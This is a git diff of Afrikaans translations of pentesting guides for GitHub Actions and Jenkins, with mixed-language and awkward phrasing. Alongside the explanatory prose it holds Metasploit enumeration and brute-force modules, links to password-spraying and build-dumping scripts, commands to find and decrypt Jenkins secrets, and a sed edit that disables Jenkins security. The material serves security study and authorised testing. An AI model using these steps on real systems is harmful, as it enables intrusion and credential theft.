verklaar, toegang verkry. -> Sodra dit in die repo of die organisasies gekonfigureer is, **sal gebruikers van github nie weer toegang tot hulle hê nie**, hulle sal net in staat wees om **hulle te verander**. +> Sodra dit in die repo of die organisasies geconfigureer is, **sal gebruikers van github nie weer toegang tot hulle hê nie**, hulle sal net in staat wees om **hulle te verander**. -Daarom is die **enigste manier om github geheimnisse te steel, om toegang te hê tot die masjien wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die geheimnisse wat vir die Action verklaar is). +Daarom is die **enige manier om github geheime te steel, om toegang te hê tot die masjien wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die geheime wat vir die Action verklaar is). ### Git Omgewings -Github laat toe om **omgewings** te skep waar jy **geheimnisse** kan stoor. Dan kan jy die github action toegang gee tot die geheimnisse binne die omgewing met iets soos: +Github laat toe om **omgewings** te skep waar jy **geheime** kan stoor. Dan kan jy die github action toegang gee tot die geheime binne die omgewing met iets soos: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **alle takke** (default), **slegs beskermde** takke of **spesifiseer** watter takke toegang kan hê.\ -Dit kan ook 'n **aantal vereiste hersienings** stel voordat **uitvoering** van 'n **aksie** met 'n **omgewing** plaasvind of **wag** vir 'n **tyd** voordat ontplooiings voortgaan. +U kan 'n omgewing konfigureer om **toegang** te hê tot **alle takke** (standaard), **slegs beskermde** takke of **spesifiseer** watter takke toegang kan hê.\ +Dit kan ook 'n **aantal vereiste hersienings** stel voordat 'n **aksie** met 'n **omgewing** uitgevoer word of **wag** 'n **tyd** voordat ontplooiings voortgaan. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **derdeparty-infrastruktuur** geconfigureer deur die gebruiker. +'n Github Aksie kan **binne die github omgewing uitgevoer word** of kan uitgevoer word in 'n **derdeparty-infrastruktuur** wat deur die gebruiker gekonfigureer is. -Verskeie organisasies sal toelaat dat Github Actions in 'n **derdeparty-infrastruktuur** gedraai word, aangesien dit gewoonlik **goedkoper** is. +Verskeie organisasies sal toelaat dat Github Aksies in 'n **derdeparty-infrastruktuur** uitgevoer word, aangesien dit gewoonlik **goedkoper** is. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +U kan die **self-gehoste runners** van 'n organisasie lys in _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Die manier om te vind watter **Github Aksies in nie-github infrastruktuur uitgevoer word** is om te soek na `runs-on: self-hosted` in die Github Aksie konfigurasie yaml. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +Dit is **nie moontlik om 'n Github Aksie van 'n organisasie binne 'n self-gehoste boks** van 'n ander organisasie uit te voer nie, omdat **'n unieke token vir die Runner gegenereer word** wanneer dit gekonfigureer word om te weet waar die runner behoort. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +As die persoonlike **Github Runner in 'n masjien binne AWS of GCP** gekonfigureer is, kan die Aksie **toegang hê tot die metadata-eindpunt** en **die token van die diensrekening** wat die masjien gebruik, **steel**. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +As alle aksies (of 'n kwaadwillige aksie) toegelaat word, kan 'n gebruiker 'n **Github aksie** gebruik wat **kwaadwillig** is en die **houer** waar dit uitgevoer word, **kompromitteer**. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> 'n **Kwaadwillige Github Aksie** kan **misbruik** word deur die aanvaller om: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **derdeparty-infrastruktuur** waar die SA-token wat gebruik word om die masjien te laat loop, toegang kan verkry (waarskynlik via die metadata-diens) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Al die geheime** wat die Aksie toegang het, te **steel** +> - **Lateraal te beweeg** as die Aksie binne 'n **derdeparty-infrastruktuur** uitgevoer word waar die SA-token wat gebruik word om die masjien te laat loop, toegang kan verkry (waarskynlik via die metadata-diens) +> - **Die token** wat deur die **werkvloei** gebruik word, te **misbruik** om die kode van die repo waar die Aksie uitgevoer word, te **steel** of **selfs dit te wysig**. -## Branch Protections +## Takbeskermings -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Takbeskermings is ontwerp om **nie volledige beheer oor 'n repo** aan die gebruikers te gee nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat daar geskryf kan word in 'n sekere tak**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +Die **takbeskermings van 'n repo** kan gevind word in _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> Dit is **nie moontlik om 'n takbeskerming op organisasievlak in te stel** nie. So, al hierdie moet op elke repo verklaar word. -Different protections can be applied to a branch (like to master): +Verskillende beskermings kan op 'n tak toegepas word (soos op meester): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- U kan **'n PR vereis voordat dit saamgevoeg word** (so u kan nie direk kode oor die tak saamvoeg nie). As dit gekies word, kan verskillende ander beskermings in plek wees: +- **Vereis 'n aantal goedkeuringe**. Dit is baie algemeen om 1 of 2 meer mense te vereis om u PR goed te keur sodat 'n enkele gebruiker nie in staat is om kode direk saam te voeg nie. +- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**. As nie, kan 'n gebruiker wettige kode goedkeur en dan kan die gebruiker kwaadwillige kode byvoeg en dit saamvoeg. +- **Vereis hersienings van Kode-eienaars**. Ten minste 1 kode-eienaar van die repo moet die PR goedkeur (sodat "ewekansige" gebruikers dit nie kan goedkeur nie) +- **Beperk wie kan pull request hersienings verwerp.** U kan mense of spanne spesifiseer wat toegelaat word om pull request hersienings te verwerp. +- **Laat gespesifiseerde akteurs toe om pull request vereistes te omseil**. Hierdie gebruikers sal in staat wees om vorige beperkings te omseil. +- **Vereis status kontroles om te slaag voordat dit saamgevoeg word.** Sommige kontroles moet slaag voordat die verbintenis saamgevoeg kan word (soos 'n github aksie wat kyk of daar nie enige duidelike teks geheim is nie). +- **Vereis gesprekresolusie voordat dit saamgevoeg word**. Alle kommentaar op die kode moet opgelos word voordat die PR saamgevoeg kan word. +- **Vereis geskrewe verbintenisse**. Die verbintenisse moet geskrewe wees. +- **Vereis lineêre geskiedenis.** Voorkom dat saamvoegverbintenisse na ooreenstemmende takke gestuur word. +- **Sluit administrateurs in**. As dit nie ingestel is nie, kan administrateurs die beperkings omseil. +- **Beperk wie kan na ooreenstemmende takke druk**. Beperk wie 'n PR kan stuur. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Soos u kan sien, selfs al het u daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm word wat u verhoed om kode na meester te druk** om byvoorbeeld die CI/CD-pyplyn te kompromitteer. -## References +## Verwysings - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 95a338beb..08ab222a5 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,68 +1,68 @@ -# Jenkins Security +# Jenkins Sekuriteit {{#include ../../banners/hacktricks-training.md}} ## Basiese Inligting -Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **deurlopende integrasie** of **deurlopende aflewering** (CI/CD) omgewing vir byna **enige** kombinasie van **programmering tale** en bronkode-repositories te vestig met behulp van pipelines. Boonop outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die **noodsaaklikheid om skripte vir individuele stappe te skep** verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou-, toets- en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan opstel. +Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **deurlopende integrasie** of **deurlopende aflewering** (CI/CD) omgewing vir byna **enige** kombinasie van **programmering tale** en bronkode repositories te vestig met behulp van pipelines. Verder outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die **noodsaaklikheid om skripte vir individuele stappe te skep** verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou, toets, en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan saamstel. {{#ref}} basic-jenkins-information.md {{#endref}} -## Ongeoutentiseerde Enumerasie +## Onauthentieke Enumerasie -Om te soek na interessante Jenkins-bladsye sonder outentisering soos (_/people_ of _/asynchPeople_, dit lys die huidige gebruikers) kan jy gebruik maak van: +Om te soek na interessante Jenkins bladsye sonder outentisering soos (_/people_ of _/asynchPeople_, dit lys die huidige gebruikers) kan jy gebruik maak van: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` -Kontroleer of jy opdragte kan uitvoer sonder om te hoef te autentiseer: +Kontroleer of jy opdragte kan uitvoer sonder om verifikasie te benodig: ``` msf> use auxiliary/scanner/http/jenkins_command ``` -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **gebruikersname**. +sonder geloofsbriewe kan jy binne die _**/asynchPeople/**_ pad of _**/securityRealm/user/admin/search/index?q=**_ kyk vir **gebruikersname**. -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Jy mag dalk die Jenkins weergawe van die pad _**/oops**_ of _**/error**_ kan kry. ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Bekende Kw vulnerabilities {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## Teken in -In the basic information you can check **alle maniere om in Jenkins aan te meld**: +In die basiese inligting kan jy **alle maniere om in Jenkins in te teken** nagaan: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Registreer -You will be able to find Jenkins instances that **toelaat dat jy 'n rekening skep en daarin aanmeld. So eenvoudig soos dit.** +Jy sal in staat wees om Jenkins instansies te vind wat **jou toelaat om 'n rekening te skep en daarin in te teken. So eenvoudig soos dit.** -### **SSO Login** +### **SSO Teken in** -Also if **SSO** **funksionaliteit**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +As **SSO** **funksionaliteit**/**plugins** teenwoordig was, moet jy probeer om in die toepassing in te teken met 'n toetsrekening (d.w.s., 'n toets **Github/Bitbucket rekening**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** lacks **wagwoordbeleid** and **gebruikersnaam bruteforce mitigering**. It's essential to **brute-force** users since **swak wagwoorde** or **gebruikersname as wagwoorde** may be in use, even **omgekeerde gebruikersname as wagwoorde**. +**Jenkins** het **wagwoordbeleid** en **gebruikersnaam bruteforce mitigering** ontbreek. Dit is noodsaaklik om **bruteforce** gebruikers, aangesien **swak wagwoorde** of **gebruikersname as wagwoorde** dalk in gebruik is, selfs **omgekeerde gebruikersname as wagwoorde**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### Wachtwoord spuit -Gebruik [hierdie python skrip](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [hierdie powershell skrip](https://github.com/chryzsh/JenkinsPasswordSpray). +Gebruik [hierdie python-skrip](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [hierdie powershell-skrip](https://github.com/chryzsh/JenkinsPasswordSpray). -### IP Witlys Bypass +### IP Whitelisting Bypass -Baie organisasies kombineer **SaaS-gebaseerde bronbeheer (SCM) stelsels** soos GitHub of GitLab met 'n **interne, self-gehoste CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI stelsels toe om **webhook-gebeurtenisse van SaaS bronbeheer verskaffers** te ontvang, hoofsaaklik om pyplyn take te aktiveer. +Baie organisasies kombineer **SaaS-gebaseerde bronbeheer (SCM) stelsels** soos GitHub of GitLab met 'n **interne, self-gehoste CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI-stelsels toe om **webhook-gebeurtenisse van SaaS-bronbeheer verskaffers** te ontvang, hoofsaaklik om pyplynwerk te aktiveer. -Om dit te bereik, **witlys** organisasies die **IP reekse** van die **SCM platforms**, wat hulle toelaat om toegang te verkry tot die **interne CI stelsel** via **webhooks**. Dit is egter belangrik om te noem dat **enigeen** 'n **rekening** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **webhook** te aktiveer, wat moontlik versoeke na die **interne CI stelsel** kan stuur. +Om dit te bereik, **whitelist** organisasies die **IP-reekse** van die **SCM-platforms**, wat hulle toelaat om toegang te verkry tot die **interne CI-stelsel** via **webhooks**. Dit is egter belangrik om te noem dat **enige iemand** 'n **rekening** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **webhook** te aktiveer, wat moontlik versoeke na die **interne CI-stelsel** kan stuur. Kontroleer: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) @@ -71,7 +71,7 @@ Kontroleer: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webho In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te verkry. > [!WARNING] -> Afhangende van die **Magtigings** meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, **kan jy dalk of dalk nie die volgende aanvalle uitvoer nie.** +> Afhangende van die **Magtigings** meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, **kan jy dalk in staat wees of nie om die volgende aanvalle uit te voer.** Vir meer inligting, kyk na die basiese inligting: @@ -79,19 +79,19 @@ Vir meer inligting, kyk na die basiese inligting: basic-jenkins-information.md {{#endref}} -### Lys van gebruikers +### Lys gebruikers As jy toegang tot Jenkins verkry het, kan jy ander geregistreerde gebruikers lys in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) -### Dumping boue om duidelike teks geheime te vind +### Dumping builds om duidelike teks geheime te vind -Gebruik [hierdie skrip](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om bou konsoluitvoer en bou omgewingsveranderlikes te dump om hopelik duidelike teks geheime te vind. +Gebruik [hierdie skrip](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om bou-konsoluitsette en bou-omgewing veranderlikes te dump om hopelik duidelike teks geheime te vind. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` -### **Steling van SSH Kredensiale** +### **Diefstal van SSH Kredensiale** As die gecompromitteerde gebruiker **genoeg bevoegdhede het om 'n nuwe Jenkins node te skep/wysig** en SSH kredensiale reeds gestoor is om toegang tot ander nodes te verkry, kan hy **daardie kredensiale steel** deur 'n node te skep/wysig en **'n gasheer in te stel wat die kredensiale sal opneem** sonder om die gasheer sleutel te verifieer: @@ -107,7 +107,7 @@ Standaard sal Jenkins **as SYSTEM loop**. Dus, om dit te kompromitteer sal die a ### **RCE Skep/Wysig 'n projek** -Skep/Wysig 'n projek is 'n manier om RCE oor die Jenkins bediener te verkry: +Om 'n projek te skep/wysig is 'n manier om RCE oor die Jenkins bediener te verkry: {{#ref}} jenkins-rce-creating-modifying-project.md @@ -115,51 +115,51 @@ jenkins-rce-creating-modifying-project.md ### **RCE Voer Groovy skrip uit** -Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerksaam is as om 'n nuwe projek te skep: +Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerklik is as om 'n nuwe projek te skep: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Skep/Wysig Pipeline +### RCE Skep/Wysig Pyplyn -Jy kan ook **RCE verkry deur 'n pipeline te skep/wysig**: +Jy kan ook **RCE verkry deur 'n pyplyn te skep/wysig**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitatie +## Pyplyn Exploitatie -Om pipelines te ontgin moet jy steeds toegang tot Jenkins hê. +Om pyplyne te ontgin, moet jy steeds toegang tot Jenkins hê. -### Bou Pipelines +### Bou Pyplyne -**Pipelines** kan ook as **bou meganisme in projekte** gebruik word, in daardie geval kan dit geconfigureer word met 'n **lêer binne die repository** wat die pipeline sintaksis sal bevat. Standaard word `/Jenkinsfile` gebruik: +**Pyplyne** kan ook as **boumeganisme in projekte** gebruik word, in daardie geval kan dit geconfigureer word met 'n **lêer binne die repository** wat die pyplyn sintaksis sal bevat. Standaard word `/Jenkinsfile` gebruik: ![](<../../images/image (127).png>) -Dit is ook moontlik om **pipeline konfigurasielêers in ander plekke** te stoor (in ander repositories byvoorbeeld) met die doel om **toegang** tot die repository en die pipeline toegang te **skei**. +Dit is ook moontlik om **pyplyn konfigurasielêers in ander plekke** te stoor (in ander repositories byvoorbeeld) met die doel om **toegang** tot die repository en die pyplyn toegang te **skei**. -As 'n aanvaller **skrywe toegang oor daardie lêer het**, sal hy in staat wees om dit te **wysig** en **potensieel die pipeline te aktiveer** sonder om toegang tot Jenkins te hê.\ +As 'n aanvaller **skrywe toegang oor daardie lêer het**, sal hy in staat wees om dit te **wysig** en **potensieel die pyplyn te aktiveer** sonder om toegang tot Jenkins te hê.\ Dit is moontlik dat die aanvaller sal moet **omseil sommige tak beskermings** (afhangende van die platform en die gebruiker bevoegdhede kan dit omseil of nie). -Die mees algemene triggers om 'n pasgemaakte pipeline uit te voer is: +Die mees algemene triggers om 'n pasgemaakte pyplyn uit te voer is: - **Trekversoek** na die hoof tak (of potensieel na ander takke) - **Stoot na die hoof tak** (of potensieel na ander takke) - **Opdateer die hoof tak** en wag totdat dit op een of ander manier uitgevoer word > [!NOTE] -> As jy 'n **eksterne gebruiker** is, moet jy nie verwag om 'n **PR na die hoof tak** van die repo van **ander gebruiker/organisasie** te skep en **die pipeline te aktiveer** nie... maar as dit **sleg geconfigureer** is, kan jy heeltemal **maatskappye kompromitteer net deur dit te ontgin**. +> As jy 'n **eksterne gebruiker** is, moet jy nie verwag om 'n **PR na die hoof tak** van die repo van **ander gebruiker/organisasie** te skep en **die pyplyn te aktiveer** nie... maar as dit **sleg geconfigureer** is, kan jy heeltemal **maatskappye kompromitteer net deur dit te ontgin**. -### Pipeline RCE +### Pyplyn RCE -In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om [**RCE te verkry deur 'n pipeline te wysig**](./#rce-creating-modifying-pipeline). +In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om [**RCE te verkry deur 'n pyplyn te wysig**](./#rce-creating-modifying-pipeline). ### Kontroleer Omgewing veranderlikes -Dit is moontlik om **duidelike teks omgewing veranderlikes** vir die hele pipeline of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes **moet nie sensitiewe inligting bevat nie**, maar 'n aanvaller kan altyd **alle pipeline** konfigurasies/Jenkinsfiles nagaan: +Dit is moontlik om **duidelike teks omgewing veranderlikes** vir die hele pyplyn of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes **moet nie sensitiewe inligting bevat nie**, maar 'n aanvaller kan altyd **alle pyplyn** konfigurasies/Jenkinsfiles nagaan: ```bash pipeline { agent {label 'built-in'} @@ -182,9 +182,9 @@ Vir inligting oor hoe sekrete gewoonlik deur Jenkins hanteer word, kyk na die ba basic-jenkins-information.md {{#endref}} -Geloofsbriewe kan **geskik word aan globale verskaffers** (`/credentials/`) of aan **spesifieke projekte** (`/job//configure`). Daarom, om al hierdie te exfiltrate, moet jy **ten minste al die projekte** wat sekrete bevat, **kompromitteer** en pasgemaakte/vergiftigde pyplyne uitvoer. +Akrediteerlinge kan **geskik word vir globale verskaffers** (`/credentials/`) of vir **spesifieke projekte** (`/job//configure`). Daarom, om al hulle te exfiltrate, moet jy **ten minste al die projekte** wat sekrete bevat, **kompromitteer** en aangepaste/vergiftigde pipelines uitvoer. -Daar is 'n ander probleem, om 'n **geheim binne die omgewing** van 'n pyplyn te kry, moet jy **die naam en tipe van die geheim** **ken**. Byvoorbeeld, as jy probeer om 'n **`usernamePassword`** **geheim** as 'n **`string`** **geheim** te **laai**, sal jy hierdie **fout** kry: +Daar is nog 'n probleem, om 'n **geheim binne die omgewing** van 'n pipeline te kry, moet jy **die naam en tipe van die geheim** **ken**. Byvoorbeeld, as jy probeer om 'n **`usernamePassword`** **geheim** as 'n **`string`** **geheim** te **laai**, sal jy hierdie **fout** kry: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` @@ -216,7 +216,7 @@ env ''' } ``` -Aan die einde van hierdie bladsy kan jy **alle tipe geloofsbewyse** **vind**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Aan die einde van hierdie bladsy kan jy **alle die akkreditasietipes** **vind**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] > Die beste manier om **alle die geheime op een slag** te **dump** is deur die **Jenkins** masjien te **kompromitteer** (byvoorbeeld deur 'n omgekeerde skulp in die **ingeboude node** te laat loop) en dan die **master sleutels** en die **geënkripteerde geheime** te **lek** en dit offline te ontsleutel.\ @@ -224,7 +224,7 @@ Aan die einde van hierdie bladsy kan jy **alle tipe geloofsbewyse** **vind**: [h ### Triggers -Van [die dokumentasie](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` riglyn definieer die **geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word**. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag `triggers` nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is `cron`, `pollSCM` en `upstream`. +Van [die docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` riglyn definieer die **geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word**. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag `triggers` nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is `cron`, `pollSCM` en `upstream`. Cron voorbeeld: ```bash @@ -234,7 +234,7 @@ Kontroleer **ander voorbeelde in die dokumentasie**. ### Knoop & Agente -'n **Jenkins-instansie** mag **verskillende agente op verskillende masjiene hê**. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële wolkakkredite** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te ontgin. +'n **Jenkins-instantie** mag **verskillende agente op verskillende masjiene hê**. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële wolkakkredite** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te ontgin. Vir meer inligting, kyk na die basiese inligting: @@ -312,9 +312,9 @@ jenkins-rce-creating-modifying-pipeline.md ``` msf> post/multi/gather/jenkins_gather ``` -### Jenkins Geheime +### Jenkins Geheimen -Jy kan die geheime lys deur toegang te verkry tot `/credentials/` as jy genoeg regte het. Let daarop dat dit slegs die geheime binne die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê. +Jy kan die geheime lys deur toegang te verkry tot `/credentials/` as jy genoeg regte het. Let daarop dat dit slegs die geheime in die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê. As jy **die konfigurasie van elke projek kan sien**, kan jy ook daar die **name van die krediete (geheime)** sien wat gebruik word om toegang tot die repository te verkry en **ander krediete van die projek**. @@ -349,7 +349,7 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Decrypt Jenkins secrets offline +#### Ontsleutel Jenkins geheime offline As jy die **nodige wagwoorde om die geheime te ontsleutel** afgelaai het, gebruik [**hierdie skrif**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **om daardie geheime te ontsleutel**. ```bash @@ -365,8 +365,8 @@ println(hudson.util.Secret.decrypt("{...}")) ``` ### Skep nuwe admin gebruiker -1. Toegang die Jenkins config.xml lêer in `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\` -2. Soek vir die woord `true` en verander die woord **`true`** na **`false`**. +1. Toegang tot die Jenkins config.xml lêer in `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\` +2. Soek na die woord `true` en verander die woord **`true`** na **`false`**. 1. `sed -i -e 's/truefalse) -- **Projek-gebaseerde Matrix Autorisasiestrategie:** Hierdie modus is 'n **uitbreiding** van "**Matrix-gebaseerde sekuriteit**" wat toelaat dat addisionele ACL-matrix **vir elke projek apart gedefinieer word.** -- **Rol-gebaseerde Strategie:** Maak dit moontlik om autorisasies te definieer met 'n **rol-gebaseerde strategie**. Bestuur die rolle in `/role-strategy`. +- **Projek-gebaseerde Matrix Magtiging Strategie:** Hierdie modus is 'n **uitbreiding** van "**Matrix-gebaseerde sekuriteit**" wat toelaat dat addisionele ACL-matrix **vir elke projek apart gedefinieer word.** +- **Rol-gebaseerde Strategie:** Maak dit moontlik om magtigings te definieer met behulp van 'n **rol-gebaseerde strategie**. Bestuur die rolle in `/role-strategy`. -## **Security Realm** +## **Sekuriteitsgebied** In `/configureSecurity` is dit moontlik om die **sekuriteitsgebied te configureer.** Standaard sluit Jenkins ondersteuning in vir 'n paar verskillende Sekuriteitsgebiede: -- **Delegeer aan servlet-container**: Vir **delegasie van autentisering aan 'n servlet-container wat die Jenkins-beheerder uitvoer**, soos [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins se eie gebruikersdatabasis:** Gebruik **Jenkins se eie ingeboude gebruikersdatastoor** vir autentisering in plaas van om aan 'n eksterne stelsel te delegeer. Dit is standaard geaktiveer. -- **LDAP**: Delegeer alle autentisering aan 'n geconfigureerde LDAP-bediener, insluitend beide gebruikers en groepe. -- **Unix gebruikers/groep databasis**: **Delegeer die autentisering aan die onderliggende Unix** OS-vlak gebruikersdatabasis op die Jenkins-beheerder. Hierdie modus sal ook die hergebruik van Unix-groepe vir autorisasie toelaat. +- **Delegeer aan servlet-container**: Vir **delegasie van magtiging aan 'n servlet-container wat die Jenkins-beheerder uitvoer**, soos [Jetty](https://www.eclipse.org/jetty/). +- **Jenkins se eie gebruikersdatabasis:** Gebruik **Jenkins se eie ingeboude gebruikersdatabasis** vir magtiging in plaas van om aan 'n eksterne stelsel te delegeer. Dit is standaard geaktiveer. +- **LDAP**: Delegeer alle magtiging aan 'n geconfigureerde LDAP-bediener, insluitend beide gebruikers en groepe. +- **Unix gebruikers/groep databasis**: **Delegeer die magtiging aan die onderliggende Unix** OS-vlak gebruikersdatabasis op die Jenkins-beheerder. Hierdie modus sal ook die hergebruik van Unix groepe vir magtiging toelaat. Plugins kan addisionele sekuriteitsgebiede bied wat nuttig kan wees om Jenkins in bestaande identiteitsisteme in te sluit, soos: -- [Active Directory](https://plugins.jenkins.io/active-directory) -- [GitHub Authentication](https://plugins.jenkins.io/github-oauth) +- [Aktiewe Gids](https://plugins.jenkins.io/active-directory) +- [GitHub Magtiging](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) ## Jenkins Nodes, Agents & Executors Definisies van die [docs](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** is die **masjiene** waarop bou **agents werk**. Jenkins monitor elke aangehegte node vir skyfspasie, vrye tydelike ruimte, vrye swap, klok tyd/sink en 